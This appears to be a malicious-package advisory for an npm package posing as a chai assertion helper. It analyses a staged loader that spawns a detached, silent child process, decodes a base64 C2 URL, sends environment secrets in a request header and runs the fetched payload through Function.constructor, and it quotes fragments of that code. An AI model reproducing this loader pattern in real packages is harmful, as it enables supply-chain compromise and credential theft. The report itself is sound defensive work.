GCVE-110-OSM-2026-10140

This package implements a classic staged-payload attack: index.js spawns lib/caller.js as a detached, silent child process (stdio: 'ignore', child.unref()) so the malicious work survives parent exit and leaves no visible output. lib/caller.js shadows the global process object with hardcoded base64 values, decodes a C2 URL fetches a remote payload from it using a decoded header key ('x-secret-key'), then executes the fetched payload via `new Function.constructor('require', s)(require)` — a full remote code execution primitive with access to the Node.js module system. The package masquerades as a chai assertion helper but contains no assertion logic; the publisher account ('key-12') is less than a day old with a single package. ENTRY index.js (main: index.js) DESTINATION - 2 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - Environment Variable Exfiltration in lib/caller.js: "process.env.DEV_SECRET_KEY); const v = atob(process.env.DEV_SECRET_VALUE); let r..." - Fetch and Eval/Exec in lib/caller.js: "axios.get(src, { headers: { [k]: v } })).data.cookie; const handler = new Functi..." - Network Request in lib/caller.js: "axios.get(" OBFUSCATION - Global Variable Shadowing in lib/caller.js: "const process = {" - Base64 Decoded Environment Variable in lib/caller.js: "atob(process.env." - Decoded Base64 Content in lib/caller.js - Decoded Base64 Content in lib/const.js - Decoded Base64 Content in [deobfuscated] lib/caller.js - IOCs Found in Deobfuscated Code in lib/caller.js - Dynamic Base64 Decoding in lib/caller.js: "atob(process." - Base64 Encoded Payload in lib/caller.js: ""aHR0cHM6Ly9hcGkuanNvbnN0b3JhZ2UubmV0L3YxL2pzb24vMmVmOGM3NTgtYTk2Zi00NTllLWIwMzY..." (+2 more) ADDITIONAL FINDINGS - Stealth Background Process Spawning in index.js: "spawn("node", [script, JSON.stringify(args)], { detached: true, stdio: "ignore" ..." - Shell Command Execution in index.js: "require("child_process")" - Silent Process Execution in index.js: "stdio: "ignore"" - Detached Child Process Payload in index.js: "spawn("node", [script, JSON.stringify(args)], { detached: true" - Dynamic Code Execution in lib/caller.js: "Function.constructor(" - Very New NPM Publisher Account PAYLOAD FILES lib/caller.js